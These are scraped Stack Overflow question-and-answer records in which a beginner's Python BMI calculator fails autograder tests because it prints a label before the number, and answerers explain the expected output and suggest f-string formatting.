code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
Well, it's good that you are providing more information to the user than just printing out the BMI. But in this case, your test wants only a single number as output for validation. Your code is correct but. A few improvements which you can make in your code: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` to: ``` height = input("enter your height in m: ") weight = int(input("enter your weight in kg: "))#Ask user input in `int` form only. height = float(height) result= (height ** 2) BMI = int(weight / result) #print("Your BMI is: ") Your evaluator(which checks the code) want the output i.e. BMI only. Kindly remove this and it will work print(BMI) ```
This is a bit on the border between an answer and a comment; you're not asking your question correctly, but explaining what's wrong with how you're asking your question (which normally belongs in a comment) will probably get you most of the way, if not all the way, to understanding the problem. It appears that your professor has set up assertion tests, which is something you can do in Python to raise an error if the output is not what's "expected". This is useful for professors as they can basically make your program "fail" if you don't write it correctly and give the "correct" answer to the question. Your question is not complete because, while these assertion tests are not part of the code that you submitted to your professor, they *are* part of what's being run, and so you should have included that as part of the code in your question.
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
I would suggest to use `f-string` formatting: ``` print(f"Your BMI is: {BMI}") ``` I would suggest to read [`this`](https://towardsdatascience.com/introducing-f-strings-the-best-option-for-string-formatting-in-python-b52975b47b84), notice that the `f-string` formatting is considered the best practice. --- To make your output `int`, I would suggest to use the `round` built-in function: ``` BMI = round(weight / result) ```
I will not focus on the test's error messages but more on what you are trying to achieve. Python is a "typed" language, meaning that numbers and strings will be considered differently by Python and with some limitations. I am providing two possible solutions (working with Python 3.9 but you might experience a different behavior, depending of your Python version): ``` print("Your BMI is:", int(weight / result)) print(f"Your BMI is: {int(weight / result)}") ``` * the first one is using a comma to tell Python that there are two elements to be displayed (the "Your BMI is:" string first and then the result of the calculation). * the second one is using the f-string method that allows you to include variable or more complex calculations/formulas within a string, using {}.
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
I would suggest to use `f-string` formatting: ``` print(f"Your BMI is: {BMI}") ``` I would suggest to read [`this`](https://towardsdatascience.com/introducing-f-strings-the-best-option-for-string-formatting-in-python-b52975b47b84), notice that the `f-string` formatting is considered the best practice. --- To make your output `int`, I would suggest to use the `round` built-in function: ``` BMI = round(weight / result) ```
This is a bit on the border between an answer and a comment; you're not asking your question correctly, but explaining what's wrong with how you're asking your question (which normally belongs in a comment) will probably get you most of the way, if not all the way, to understanding the problem. It appears that your professor has set up assertion tests, which is something you can do in Python to raise an error if the output is not what's "expected". This is useful for professors as they can basically make your program "fail" if you don't write it correctly and give the "correct" answer to the question. Your question is not complete because, while these assertion tests are not part of the code that you submitted to your professor, they *are* part of what's being run, and so you should have included that as part of the code in your question.